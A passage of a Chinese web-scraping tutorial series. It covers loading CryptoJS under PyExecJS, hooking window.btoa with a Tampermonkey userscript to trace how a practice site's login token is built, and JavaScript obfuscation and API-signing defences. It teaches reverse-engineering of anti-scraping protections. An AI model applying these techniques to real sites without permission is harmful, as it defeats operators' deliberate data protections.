这里我们先声明了一个 function,然后接收 a 和 b 两个参数,然后把内容输出出来,然后我们把这个 function 用小括号括起来,这其实就是一个方法,可以被直接调用的,怎么调用呢?后面再跟上对应的参数就好了,比如传入 1 和 2,执行结果如下:

1
result 1 2

可以看到,这个自执行的方法就被执行了。

同理地,crypto-js.min.js 也符合这个格式,它接收 t 和 e 两个参数,t 就是 this,其实就是浏览器中的 window 对象,e 就是一个 function(用于定义 CryptoJS 的核心内容)。

我们再来观察下 crypto-js.min.js 开头的定义:

1
2
3
4
5
"object" == typeof exports
? (module.exports = exports = e())
: "function" == typeof define && define.amd
? define([], e)
: (t.CryptoJS = e());

在 Node.js 中,其实 exports 就是用来将一些对象的定义进行导出的,这里 "object" == typeof exports 其实结果就是 true,所以就执行了 module.exports = exports = e() 这段代码,这样就相当于把 e() 作为整体导出了,而这个 e() 其实就对应这后面的整个 function,function 里面定义了加密相关的各个实现,其实就指代整个加密算法库。

但是在浏览器中,其结果就不一样了,浏览器环境中并没有 exports 和 define 这两个对象。所以,上述代码在浏览器中最后执行的就是 t.CryptoJS = e() 这段代码,其实这里就是把 CryptoJS 对象挂载到 this 对象上面,而 this 就是浏览器中的全局 window 对象,后面就可以直接用了。如果我们把代码放在浏览器中运行,那是没有任何问题的。

然而,我们使用的 PyExecJS 是依赖于一个 Node.js 执行环境的,所以上述代码其实执行的是 module.exports = exports = e(),这里面并没有声明 CryptoJS 对象,也没有把 CryptoJS 挂载到全局对象里面,所以后面我们再调用 CryptoJS 就自然而然出现了未定义的错误了。

那怎么办呢?其实很简单,那我们直接声明一个 CryptoJS 变量,然后手动声明一下它的初始化不就好了吗?所以我们可以把代码稍作修改,改成如下内容:

1
2
3
4
5
6
7
8
9
10
11
var CryptoJS;
!(function (t, e) {
CryptoJS = e();
"object" == typeof exports
? (module.exports = exports = e())
: "function" == typeof define && define.amd
? define([], e)
: (t.CryptoJS = e());
})(this, function () {
//...
});

这里我们就首先声明了一个 CryptoJS 变量,然后直接给 CryptoJS 变量赋值给 e(),这样就完成了 CryptoJS 的初始化。

这样我们再重新运行刚才的 Python 脚本,就可以得到执行结果了:

1
gQSfeqldQIJKAZHH9TzRX/exvIwb0j73b2cjXvy6PeZ3rGW6sQsL2w==

这样我们就成功得到加密字符串了,和示例网站上显示的是一模一样的,这样我们就成功模拟 JavaScript 的调用完成了某个加密算法的运行过程。

5. 总结

本节介绍了利用 PyExecJS 来模拟执行 JavaScript 的方法,结合一个案例来完成了整个的实现和问题排查的过程。本节内容还是比较重要的,以后我们如果需要模拟执行 JavaScript 就可以派得上用场。

本节代码;https://github.com/Python3WebSpider/ScrapeSpa7。

Python

系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

在 JavaScript 逆向的时候,我们经常需要追踪某些方法的堆栈调用情况。但在很多情况下,一些 JavaScript 的变量或者方法名经过混淆之后是非常难以捕捉的。上一节我们介绍了一些断点调试、调用栈查看等技巧,但仅仅凭借这些技巧还不足以应对多数 JavaScript 逆向。

本节我们再来介绍一个比较常用的 JavaScript 逆向技巧 —— Hook 技术。

1. Hook 技术

Hook 技术中文又叫作钩子技术,指在程序运行的过程中,对其中的某个方法进行重写,在原先的方法前后加入我们自定义的代码。相当于在系统没有调用该函数之前,钩子程序就先捕获该消息,得到控制权,这时钩子函数既可以加工处理(改变)该函数的执行行为,也可以强制结束消息的传递。

要对 JavaScript 代码进行 Hook 操作,就需要额外在页面中执行一些自定义的有关 Hook 逻辑的代码。那么问题来了?怎样才能在浏览器中方便地执行我们所期望执行的 JavaScript 代码呢?在这里推荐一个插件,叫作 Tampermonkey。这个插件的功能非常强大,利用它我们几乎可以在网页中执行任何 JavaScript 代码,实现我们想要的功能。

下面我们就来介绍一下这个插件的使用方法,并结合一个实际案例,介绍一下这个插件在 JavaScript Hook 中的用途。

2. Tampermonkey

Tampermonkey,中文也叫作“油猴”,它是一款浏览器插件,支持 Chrome。利用它我们可以在浏览器加载页面时自动执行某些 JavaScript 脚本。由于执行的是 JavaScript,所以我们几乎可以在网页中完成任何我们想实现的效果,如自动爬虫、自动修改页面、自动响应事件等。

其实,Tampermonkey 的用途远远不止这些,只要我们想要的功能能用 JavaScript 实现,Tampermonkey 就可以帮我们做到。比如我们可以将 Tampermonkey 应用到 JavaScript 逆向分析中,去帮助我们更方便地分析一些 JavaScript 加密和混淆代码。

3. 安装

首先我们需要安装 Tampermonkey,这里我们使用的浏览器是 Chrome。直接在 Chrome 应用商店或者在 Tampermonkey 的官网 https://www.tampermonkey.net/ 下载安装即可。

安装完成之后,在 Chrome 浏览器的右上角会出现 Tampermonkey 的图标,这就代表安装成功了,如图所示。

4. 获取脚本

Tampermonkey 运行的是 JavaScript 脚本,每个网站都能有对应的脚本运行,不同的脚本能完成不同的功能。这些脚本我们可以自定义,也可以用已经写好的很多脚本,毕竟有些轮子有了,我们就不需要再去造了。

我们可以在 https://greasyfork.org/zh-CN/scripts 找到一些非常实用的脚本,如全网视频去广告、百度云全网搜索等,大家可以体验一下。

5. 脚本编写

除了使用别人已经写好的脚本,我们也可以自己编写脚本来实现想要的功能。编写脚本难不难呢?其实就是写 JavaScript 代码,只要懂一些 JavaScript 的语法就好了。另外我们需要遵循脚本的一些写作规范,其中就包括一些参数的设置。

下面我们就简单实现一个小的脚本。首先我们可以点击 Tampermonkey 插件图标,再点击“管理面板”按钮,打开脚本管理页面,如图所示。

脚本管理页面如图所示。

在这里显示了我们已经有的一些 Tampermonkey 脚本,包括我们自行创建的,也包括从第三方网站下载安装的。另外这里提供了编辑、调试、删除等管理功能,在这里可以方便地对脚本进行管理。

接下来我们来创建一个新的脚本,点击左侧的“+”号,会显示如图所示的页面。

初始化的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// ==UserScript==
// @name New Userscript
// @namespace http://tampermonkey.net/
// @version 0.1
// @description try to take over the world!
// @author You
// @match https://www.tampermonkey.net/documentation.php?ext=dhdg
// @grant none
// ==/UserScript==

(function () {
"use strict";

// Your code here...
})();

在上面这段代码里,最前面是一些注释,它们非常有用,这部分内容叫作 UserScript Header ,我们可以在里面配置一些脚本的信息,如名称、版本、描述、生效站点等等。

下面简单介绍一下 UserScript Header 的一些参数定义。

  • @name:脚本的名称,就是在控制面板显示的脚本名称。

  • @namespace:脚本的命名空间。

  • @version:脚本的版本,主要是做版本更新时用。

  • @author:作者。

  • @description:脚本描述。

  • @homepage@homepageURL@website@source:作者主页,用于在 Tampermonkey 选项页面上从脚本名称点击跳转。请注意,如果 @namespace 标记以 http://开头,此处也要一样。

  • @icon@iconURL@defaulticon:低分辨率图标。

  • @icon64@icon64URL:64 × 64 高分辨率图标。

  • @updateURL:检查更新的网址,需要定义 @version

  • @downloadURL:更新下载脚本的网址,如果定义成 none 就不会检查更新。

  • @supportURL:报告问题的网址。

  • @include:生效页面,可以配置多个,但注意这里并不支持 URL Hash。

    例如:

    1
    2
    3
    4
    // @include http://www.tampermonkey.net/*
    // @include http://*
    // @include https://*
    // @include *
  • @match:约等于 @include 标签,可以配置多个。

  • @exclude:不生效页面,可配置多个,优先级高于 @include@match

  • @require:附加脚本网址,相当于引入外部的脚本,这些脚本会在自定义脚本执行之前执行,比如引入一些必须的库,如 jQuery 等,这里可以支持配置多个 @require 参数。

    例如:

    1
    2
    3
    // @require https://code.jquery.com/jquery-2.1.4.min.js
    // @require https://code.jquery.com/jquery-2.1.3.min.js#sha256=23456...
    // @require https://code.jquery.com/jquery-2.1.2.min.js#md5=34567...,sha256=6789...
  • @resource:预加载资源,可通过 GM_getResourceURLGM_getResourceText 读取。

  • @connect:允许被 GM_xmlhttpRequest 访问的域名,每行 1 个。

  • @run-at:脚本注入的时刻,如页面刚加载时,某个事件发生后等。

    • document-start:尽可能地早执行此脚本。
    • document-body:DOM 的 body 出现时执行。
    • document-endDOMContentLoaded 事件发生时或发生后执行。
    • document-idleDOMContentLoaded 事件发生后执行,即 DOM 加载完成之后执行,这是默认的选项。
    • context-menu:如果在浏览器上下文菜单(仅限桌面 Chrome 浏览器)中点击该脚本,则会注入该脚本。注意:如果使用此值,则将忽略所有 @include@exclude 语句。
  • @grant:用于添加 GM 函数到白名单,相当于授权某些 GM 函数的使用权限。

    例如:

    1
    2
    3
    4
    5
    6
    // @grant GM_setValue
    // @grant GM_getValue
    // @grant GM_setClipboard
    // @grant unsafeWindow
    // @grant window.close
    // @grant window.focus

    如果没有定义过 @grant 选项,Tampermonkey 会猜测所需要的函数使用情况。

  • @noframes:此标记使脚本在主页面上运行,但不会在 iframe 上运行。

  • @nocompat:由于部分代码可能是为专门的浏览器所写,通过此标记,Tampermonkey 会知道脚本可以运行的浏览器。

    例如:

    1
    // @nocompat Chrome

    这样就指定了脚本只在 Chrome 浏览器中运行。

除此之外,Tampermonkey 还定义了一些 API,使得我们可以方便地完成某个操作。

  • GM_log:将日志输出到控制台。
  • GM_setValue:将参数内容保存到 Storage 中。
  • GM_addValueChangeListener:为某个变量添加监听,当这个变量的值改变时,就会触发回调。
  • GM_xmlhttpRequest:发起 Ajax 请求。
  • GM_download:下载某个文件到磁盘。
  • GM_setClipboard:将某个内容保存到粘贴板。

还有很多其他的 API,大家可以到 https://www.tampermonkey.net/documentation.php 查看更多的内容。

UserScript Header 下方是 JavaScript 函数和调用的代码,其中 'use strict' 标明代码使用 JavaScript 的严格模式。在严格模式下,可以消除 Javascript 语法的一些不合理、不严谨之处,减少一些怪异行为,如不能直接使用未声明的变量,这样可以保证代码的运行安全,同时提高编译器的效率,提高运行速度。在下方 // Your code here... 处就可以编写自己的代码了。

6. 实战分析

下面我们通过一个简单的 JavaScript 逆向案例来演示一下如何实现 JavaScript 的 Hook 操作,轻松找到某个方法执行的位置,从而快速定位逆向入口。

接下来我们来看一个简单的网站:https://login1.scrape.center/,这个网站的结构非常简单,就是一个用户名密码登录。但是不同的是,点击登录的时候,表单提交 POST 的内容并不是单纯的用户名和密码,而是一个加密后的 token。

页面如图所示。

image-20210509215948819

我们输入用户名密码,都为 admin,点击登录按钮,观察一下网络请求的变化。

可以看到如下结果如图所示。

image-20210509220046359

我们不需要关心 Response 的结果和状态,主要看 Request 的内容就好了。

可以看到,点击登录按钮时,发起了了一个 POST 请求,内容为:

1
{"token":"eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiJ9"}

嗯,确实,没有诸如 usernamepassword 的内容了,那怎么模拟登录呢?

模拟登录的前提当然就是找到当前 token 生成的逻辑了,那么问题来了,到底这个 token 和用户名、密码是什么关系呢?我们怎么来找寻其中的蛛丝马迹呢?

这里我们就可能思考了,本身输入的是用户名和密码,但提交的时候却变成了一个 token,经过观察并结合一些经验可以看出,token 的内容非常像 Base64 编码。这就代表,网站可能首先将用户名密码混为了一个新的字符串,然后经过了一次 Base64 编码,最后将其赋值为 token 来提交了。所以,初步观察我们可以得出这么多信息。

好,那就来验证一下吧!探究网站 JavaScript 代码里面是如何实现的。

首先我们看一下网站的源码,打开 Sources 面板,看起来都是 Webpack 打包之后的内容,经过了一些混淆,如图所示。

image-20210509222556397

这么多混淆代码,总不能一点点扒着看吧?那么遇到这种情形,这怎么去找 token 的生成位置呢?

解决方法其实有两种,一种就是前文所讲的 Ajax 断点,另一种就是 Hook。

Ajax 断点

由于这个请求正好是一个 Ajax 请求,所以我们可以添加一个 XHR 断点监听,把 POST 的网址加到断点监听上面。在 Sources 面板右侧添加一个 XHR 断点,匹配内容就填当前域名就好了,如图所示。

image-20210509223127936

这时候如果我们再次点击登录按钮,发起一次 Ajax 请求,就可以进入断点了,然后再看堆栈信息,就可以一步步找到编码的入口了。

再次点击登录按钮,页面就进入断点状态停下来了,结果如图所示。

image-20210509223337762

一步步找,最后可以找到入口其实是在 onSubmit 方法那里。但实际上我们观察到,这里的断点的栈顶还包括了一些类似 async Promise 等无关的内容,而我们真正想找的是用户名和密码经过处理,再进行 Base64 编码的地方,这些请求的调用实际上和我们找寻的入口没有很大的关系。

另外,如果我们想找的入口位置并不伴随这一次 Ajax 请求,这个方法就没法用了。

所以下面我们再来看另一个方法 —— Hook。

Hook Function

所以这里介绍第二种可以快速定位入口的方法,那就是使用 Tampermonkey 自定义 JavaScript,实现某个 JavaScript 方法的 Hook。Hook 哪里呢?很明显,Hook Base64 编码的位置就好了。

那么这里就涉及一个小知识点:JavaScript 里面的 Base64 编码是怎么实现的?

没错,就是 btoa 方法,在 JavaScript 中该方法用于将字符串编码成 Base64 字符串,因此我们来 Hook btoa 方法就好了。

好,这里我们新建一个 Tampermonkey 脚本,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// ==UserScript==
// @name HookBase64
// @namespace https://login1.scrape.center/
// @version 0.1
// @description Hook Base64 encode function
// @author Germey
// @match https://login1.scrape.center/
// @grant none
// ==/UserScript==
(function () {
"use strict";
function hook(object, attr) {
var func = object[attr];
object[attr] = function () {
console.log("hooked", object, attr);
var ret = func.apply(object, arguments);
debugger;
return ret;
};
}
hook(window, "btoa");
})();

首先我们定义了一些 UserScript Header,包括 @name@match等,这里比较重要的就是@name,表示脚本名称;另外一个就是 @match,它代表脚本生效的网址。

脚本的内容如上面代码所示。我们定义了一个 hook方法,传入 objectattr 参数,意思就是 Hook object 对象的 attr参数。例如我们如果想 Hook alert 方法,那就把 object 设置为 window,把 attr 设置为字符串 alert 。这里我们想要 Hook Base64 的编码方法,而在 JavaScript 中,Based64 编码是用 btoa 方法实现的,所以这里我们就只需要 Hook window 对象的 btoa 方法就好了。

那么 Hook 是怎么实现的呢?我们来看已下,首先一句 var func = object[attr],相当于我们先把它赋值为一个变量,我们调用 func 方法就可以实现和原来相同的功能。接着,我们直接改写这个方法的定义,将 object[attr] 改写成一个新的方法,在新的方法中,通过 func.apply 方法又重新调用了原来的方法。这样我们就可以保证前后方法的执行效果是不受什么影响的,之前这个方法该干啥就还是干啥。

但是和之前不同的是,我们自定义方法之后,现在可以在 func 方法执行的前后,再加入自己的代码,如 console.log 将信息输出到控制台,debugger 进入断点等。在这个过程中,我们先临时保存下来了 func 方法,然后定义一个新的方法,接管程序控制权,在其中自定义我们想要的实现,同时在新的方法里面重新调回 func 方法,保证前后结果是不受影响的。所以,我们达到了在不影响原有方法效果的前提下,实现在方法前后自定义的功能,这就是 Hook 的过程。

最后,我们调用 hook 方法,传入 window 对象和 btoa 字符串,保存。

接下来刷新下页面,这时候我们就可以看到这个脚本在当前页面生效了,可以发现 Tempermonkey 插件面板提示了已经启用,同时在 Sources 面板下的 Page 选项卡可以观察到我们定义的 JavaScript 脚本被执行了,如图所示。

image-20210509223942108

然后输入用户名、密码,点击提交,成功进入了断点模式停下来了,代码就卡在了我们自定义的 debugger 这一行代码的位置,如图所示。

image-20210509224216857

成功 Hook 住了,这说明 JavaScript 代码在执行过程中调用到了 btoa 方法。

这时看一下控制台,如图所示。

image-20210509224328452

这里也输出了 window 对象和 btoa 方法,验证正确。

这样,我们就顺利找到了 Base64 编码操作这个路口,然后看一下堆栈信息,也已经不会出现 async、Promise 这样的调用了,很清晰地呈现了 btoa 方法逐层调用的过程,非常清晰明了,如图所示。

image-20210509224356222

另外再观察下 Local 面板,看看 arguments 变量是怎样的,如图所示。

image-20210509224448758

可以说一目了然了,arguments 就是指传给 btoa 方法的参数,ret 就是 btoa 方法返回的结果,可以看到 arguments 就是 usernamepassword 通过 JSON 序列化之后的字符串,经过 Base64 编码之后得到的值恰好就是 Ajax 请求参数 token 的值。

结果几乎也明了了,我们还可以通过调用栈找到 onSubmit 方法的处理源码:

1
2
3
4
5
6
7
8
onSubmit: function() {
var e = c.encode(JSON.stringify(this.form));
this.$http.post(a["a"].state.url.root, {
token: e
}).then((function(e) {
console.log("data", e)
}))
}

仔细看看,encode 方法其实就是调用了一下 btoa方法,就是一个 Base64 编码的过程,答案其实已经很明了了。

当然我们还可以进一步打断点验证一下流程,比如在调用 encode 方法的一行打断点,如图所示。

image-20210509224938312

打完断点之后,可以点击 Resume 按钮恢复 JavaScript 的执行,跳过当前 Tempermonkey 定义的断点位置,如图所示。

image-20210509225049534

然后重新再点击登录按钮,可以看到这时候就停在了当前打断点的位置了,如图所示。

image-20210509225531743

这时候可以在 Watch 面板下输入 this.form,验证此处是否为在表单中输入的用户名密码,如图所示。

image-20210509225732574

没问题,然后逐步调试。我们还可以可以观察到,下一步就跳到了我们 Hook 的位置,这说明调用了 btoa 方法,如图所示。

image-20210509225907721

返回的结果正好就是 token 的值。

所以,验证到这里,已经非常清晰了,整体逻辑就是对登录表单的用户名和密码进行了 JSON 序列化,然后调用了 encode 也就是 btoa 方法,并赋值为了 token 发起登录的 Ajax 请求,逆向完成。

我们通过 Tampermonkey 自定义 JavaScript 脚本的方式,实现了某个方法调用的 Hook,使得我们能快速定位到加密入口的位置,非常方便。

以后如果观察出一些门道,可以多使用这种方法来尝试,如 Hook encode 方法、decode方法、stringify 方法、log 方法、alert 方法等,简单又高效。

7. 总结

以上便是通过 Tampermonkey 实现简单 Hook 的基础操作,当然这仅仅是一个常见的基础案例,我们可以从中总结出一些 Hook 的基本门道。

由于本节涉及到一些专有名词,部分内容参考如下:

  • 博客 - Hook 技术:https://www.jianshu.com/p/3382cc765b39
  • 官网 - Tampermonkey 官网:http://www.tampermonkey.net/
  • 文档 - Base64 编码:https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/btoa

Python

系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

随着大数据时代的发展,各个公司的数据保护意识越来越强,大家都在想尽办法保护自家产品的数据不轻易被爬虫爬走。由于网页是提供信息和服务的重要载体,所以对网页上的信息进行保护就成了至关重要的一个环节。

网页是运行在浏览器端的,当我们浏览一个网页时,其 HTML 代码、 JavaScript 代码都会被下载到浏览器中执行。借助浏览器的开发者工具,我们可以看到网页在加载过程中所有网络请求的详细信息,也能清楚地看到网站运行的 HTML 代码和 JavaScript 代码,这些代码中就包含了网站加载的全部逻辑,如加载哪些资源、请求接口是如何构造的、页面是如何渲染的等等。正因为代码是完全透明的,所以如果我们能够把其中的执行逻辑研究出来,就可以模拟各个网络请求进行数据爬取了。

然而,事情没有想象得那么简单。随着前端技术的发展,前端代码的打包技术、混淆技术、加密技术也层出不穷,借助于这些技术,各个公司可以在前端对 JavaScript 代码采取一定的保护,比如变量名混淆、执行逻辑混淆、反调试、核心逻辑加密等,这些保护手段使得我们没法很轻易地找出 JavaScript 代码中包含的的执行逻辑。

在前几章的案例中,我们也试着爬取了各种形式的网站。其中有的网站的数据接口是没有任何验证或加密参数的,我们可以轻松模拟并爬取其中的数据;但有的网站稍显复杂,网站的接口中增加了一些加密参数,同时对 JavaScript 代码采取了上文所述的一些防护措施,当时我们没有直接尝试去破解,而是用 Selenium 等类似工具来实现模拟浏览器执行的方式来进行“所见即所得“的爬取。其实对于后者,我们还有另外一种解决方案,那就是直接逆向 JavaScript 代码,找出其中的加密逻辑,从而直接实现该加密逻辑来进行爬取。如果加密逻辑实在过于复杂,我们也可以找出一些关键入口,从而实现对加密逻辑的单独模拟执行和数据爬取。这些方案难度可能很大,比如关键入口很难寻找,或者加密逻辑难以模拟,可是一旦成功找到突破口,我们便可以不用借助于 Selenium 等工具进行整页数据的渲染而实现数据爬取,这样爬取效率会大幅提升。

本章我们首先会对 JavaScript 防护技术进行介绍,然后介绍一些常用的 JavaScript 逆向技巧,包括浏览器工具的使用、Hook 技术、AST 技术、特殊混淆技术的处理、WebAssembly 技术的处理。了解了这些技术,我们可以更从容地应对 JavaScript 防护技术。

1. 引入

我们在爬取网站的时候,会遇到一些情况需要分析一些接口或 URL 信息,在这个过程中,我们会遇到各种各样类似加密的情形,比如说:

  • 某个网站的 URL 带有一些看不太懂的长串加密参数,要抓取就必须要懂得这些参数是怎么构造的,否则我们连完整的 URL 都构造不出来,更不用说爬取了。
  • 分析某个网站的 Ajax 接口的时候,可以看到接口的一些参数也是加密的,或者 Request Headers 里面也可能带有一些加密参数,如果不知道这些参数的具体构造逻辑就没法直接用程序来模拟这些 Ajax 请求。
  • 翻看网站的 JavaScript 源代码,可以发现很多压缩了或者看不太懂的字符,比如 JavaScript 文件名被编码,JavaScript 的文件内容都压缩成几行,JavaScript 变量也被修改成单个字符或者一些十六进制的字符,导致我们不好轻易根据 JavaScript 找出某些接口的加密逻辑。

这些情况呢,基本上都是网站为了保护其本身的一些数据不被轻易抓取而采取的一些措施,我们可以把它归类为两大类:

  • URL/API 参数加密
  • JavaScript 压缩、混淆和加密

这一节我们就来了解下这两类技术的基本原理和一些常见的示例。知己知彼,百战不殆,了解了这些技术的实现原理之后,我们才能更好地去逆向其中的逻辑,从而实现数据爬取。

2. 网站数据防护方案

当今大数据时代,数据已经变得越来越重要,网页和 App 现在是主流的数据载体,如果其数据的 API 没有设置任何保护措施,在爬虫工程师解决了一些基本的反爬如封 IP、验证码的问题之后,那么数据还是可以被轻松爬取到的。

那么,有没有可能在 URL/API 层面或 JavaScript 层面也加上一层防护呢?答案是可以。

URL/API 参数加密

网站运营者首先想到防护措施可能是对某些数据接口的参数进行加密,比如说对某些 URL 的一些参数加上校验码或者把一些 id 信息进行编码,使其变得难以阅读或构造;或者对某些 API 请求加上一些 token、sign 等签名,这样这些请求发送到服务器时,服务器会通过客户端发来的一些请求信息以及双方约定好的秘钥等来对当前的请求进行校验,如果校验通过,才返回对应数据结果。

比如说客户端和服务端约定一种接口校验逻辑,客户端在每次请求服务端接口的时候都会附带一个 sign 参数,这个 sign 参数可能是由当前时间信息、请求的 URL、请求的数据、设备的 ID、双方约定好的秘钥经过一些加密算法构造而成的,客户端会实现这个加密算法构造 sign,然后每次请求服务器的时候附带上这个参数。服务端会根据约定好的算法和请求的数据对 sign 进行校验,如果校验通过,才返回对应的数据,否则拒绝响应。

当然登录状态的校验也可以看作是此类方案,比如一个 API 的调用必须要传一个 token,这个 token 必须用户登录之后才能获取,如果请求的时候不带该 token,API 就不会返回任何数据。

倘若没有这种措施,那么基本上 URL 或者 API 接口是完全公开可以访问的,这意味着任何人都可以直接调用来获取数据,几乎是零防护的状态,这样是非常危险的,而且数据也可以被轻易地被爬虫爬取。因此对 URL/API 参数一些加密和校验是非常有必要的。

JavaScript 压缩、混淆和加密

接口加密技术看起来的确是一个不错的解决方案,但单纯依靠它并不能很好地解决问题。为什么呢?

对于网页来说,其逻辑是依赖于 JavaScript 来实现的,JavaScript 有如下特点:

  • JavaScript 代码运行于客户端,也就是它必须要在用户浏览器端加载并运行。
  • JavaScript 代码是公开透明的,也就是说浏览器可以直接获取到正在运行的 JavaScript 的源码。

由于这两个原因,至使 JavaScript 代码是不安全的,任何人都可以读、分析、复制、盗用,甚至篡改。

所以说,对于上述情形,客户端 JavaScript 对于某些加密的实现是很容易被找到或模拟的,了解了加密逻辑后,模拟参数的构造和请求也就是轻而易举了,所以如果 JavaScript 没有做任何层面的保护的话,接口加密技术基本上对数据起不到什么防护作用。

如果你不想让自己的数据被轻易获取,不想他人了解 JavaScript 逻辑的实现,或者想降低被不怀好意的人甚至是黑客攻击。那么就需要用到 JavaScript 压缩、混淆和加密技术了。

这里压缩、混淆和加密技术简述如下:

  • 代码压缩:即去除 JavaScript 代码中的不必要的空格、换行等内容,使源码都压缩为几行内容,降低代码可读性,当然同时也能提高网站的加载速度。
  • 代码混淆:使用变量替换、字符串阵列化、控制流平坦化、多态变异、僵尸函数、调试保护等手段,使代码变地难以阅读和分析,达到最终保护的目的。但这不影响代码原有功能。是理想、实用的 JavaScript 保护方案。
  • 代码加密:可以通过某种手段将 JavaScript 代码进行加密,转成人无法阅读或者解析的代码,如借用 WebAssembly 技术,可以直接将 JavaScript 代码用 C/C++ 实现,JavaScript 调用其编译后形成的文件来执行相应的功能。

下面我们对上面的技术分别予以介绍。

3. URL/API 参数加密

现在绝大多数网站的数据一般都是通过服务器提供的 API 来获取的,网站或 App 可以请求某个数据 API 获取到对应的数据,然后再把获取的数据展示出来。但有些数据是比较宝贵或私密的,这些数据肯定是需要一定层面上的保护。所以不同 API 的实现也就对应着不同的安全防护级别,我们这里来总结下。

为了提升接口的安全性,客户端会和服务端约定一种接口校验方式,一般来说会使用到各种加密和编码算法,如 Base64、Hex 编码,MD5、AES、DES、RSA 等对称或非对称加密。

举个例子,比如说客户端和服务器双方约定一个 sign 用作接口的签名校验,其生成逻辑是客户端将 URL Path 进行 MD5 加密然后拼接上 URL 的某个参数再进行 Base64 编码,最后得到一个字符串 sign,这个 sign 会通过 Request URL 的某个参数或 Request Headers 发送给服务器。服务器接收到请求后,对 URL Path 同样进行 MD5 加密,然后拼接上 URL 的某个参数,也进行 Base64 编码也得到了一个 sign,然后比对生成的 sign 和客户端发来的 sign 是否是一致的,如果是一致的,那就返回正确的结果,否则拒绝响应。这就是一个比较简单的接口参数加密的实现。如果有人想要调用这个接口的话,必须要定义好 sign 的生成逻辑,否则是无法正常调用接口的。

当然上面的这个实现思路比较简单,这里还可以增加一些时间戳信息增加时效性判断,或增加一些非对称加密进一步提高加密的复杂程度。但不管怎样,只要客户端和服务器约定好了加密和校验逻辑,任何形式加密算法都是可以的。

这里要实现接口参数加密就需要用到一些加密算法,客户端和服务器肯定也都有对应的 SDK 实现这些加密算法,如 JavaScript 的 crypto-js,Python 的 hashlib、Crypto 等等。

但还是如上文所说,如果是网页的话,客户端实现加密逻辑如果是用 JavaScript 来实现,其源代码对用户是完全可见的,如果没有对 JavaScript 做任何保护的话,是很容易弄清楚客户端加密的流程的。

因此,我们需要对 JavaScript 利用压缩、混淆等方式来对客户端的逻辑进行一定程度上的保护。

4. JavaScript 压缩

这个非常简单,JavaScript 压缩即去除 JavaScript 代码中的不必要的空格、换行等内容或者把一些可能公用的代码进行处理实现共享,最后输出的结果都压缩为几行内容,代码可读性变得很差,同时也能提高网站加载速度。

如果仅仅是去除空格换行这样的压缩方式,其实几乎是没有任何防护作用的,因为这种压缩方式仅仅是降低了代码的直接可读性。如果我们有一些格式化工具可以轻松将 JavaScript 代码变得易读,比如利用 IDE、在线工具或 Chrome 浏览器都能还原格式化的代码。

比如这里举一个最简单的 JavaScript 压缩示例,原来的 JavaScript 代码是这样的:

1
2
3
4
function echo(stringA, stringB) {
const name = "Germey";
alert("hello " + name);
}

压缩之后就变成这样子:

1
2
3
4
function echo(d, c) {
const e = "Germey";
alert("hello " + e);
}

可以看到这里参数的名称都被简化了,代码中的空格也被去掉了,整个代码也被压缩成了一行,代码的整体可读性降低了。

目前主流的前端开发技术大多都会利用 Webpack、Rollup 等工具进行打包,Webpack、Rollup 会对源代码进行编译和压缩,输出几个打包好的 JavaScript 文件,其中我们可以看到输出的 JavaScript 文件名带有一些不规则字符串,同时文件内容可能只有几行内容,变量名都是一些简单字母表示。这其中就包含 JavaScript 压缩技术,比如一些公共的库输出成 bundle 文件,一些调用逻辑压缩和转义成冗长的几行代码,这些都属于 JavaScript 压缩。另外其中也包含了一些很基础的 JavaScript 混淆技术,比如把变量名、方法名替换成一些简单字符,降低代码可读性。

但整体来说,JavaScript 压缩技术只能在很小的程度上起到防护作用,要想真正提高防护效果还得依靠 JavaScript 混淆和加密技术。

5. JavaScript 混淆

JavaScript 混淆是完全是在 JavaScript 上面进行的处理,它的目的就是使得 JavaScript 变得难以阅读和分析,大大降低代码可读性,是一种很实用的 JavaScript 保护方案。

JavaScript 混淆技术主要有以下几种:

  • 变量混淆:将带有含义的变量名、方法名、常量名随机变为无意义的类乱码字符串,降低代码可读性,如转成单个字符或十六进制字符串。

  • 字符串混淆:将字符串阵列化集中放置、并可进行 MD5 或 Base64 加密存储,使代码中不出现明文字符串,这样可以避免使用全局搜索字符串的方式定位到入口点。

  • 属性加密:针对 JavaScript 对象的属性进行加密转化,隐藏代码之间的调用关系。

  • 控制流平坦化:打乱函数原有代码执行流程及函数调用关系,使代码逻变得混乱无序。

  • 无用代码注入:随机在代码中插入不会被执行到的无用代码,进一步使代码看起来更加混乱。

  • 调试保护:基于调试器特性,对当前运行环境进行检验,加入一些强制调试 debugger 语句,使其在调试模式下难以顺利执行 JavaScript 代码。

  • 多态变异:使 JavaScript 代码每次被调用时,将代码自身即立刻自动发生变异,变化为与之前完全不同的代码,即功能完全不变,只是代码形式变异,以此杜绝代码被动态分析调试。

  • 锁定域名:使 JavaScript 代码只能在指定域名下执行。

  • 反格式化:如果对 JavaScript 代码进行格式化,则无法执行,导致浏览器假死。

  • 特殊编码:将 JavaScript 完全编码为人不可读的代码,如表情符号、特殊表示内容等等。

总之,以上方案都是 JavaScript 混淆的实现方式,可以在不同程度上保护 JavaScript 代码。

在前端开发中,现在 JavaScript 混淆主流的实现是 javascript-obfuscator (https://github.com/javascript-obfuscator/javascript-obfuscator) 和 terser (https://github.com/terser/terser) 这两个库,其都能提供一些代码混淆功能,也都有对应的 Webpack 和 Rollup 打包工具的插件,利用它们我们可以非常方便地实现页面的混淆,最终可以输出压缩和混淆后的 JavaScript 代码,使得 JavaScript 代码可读性大大降低。

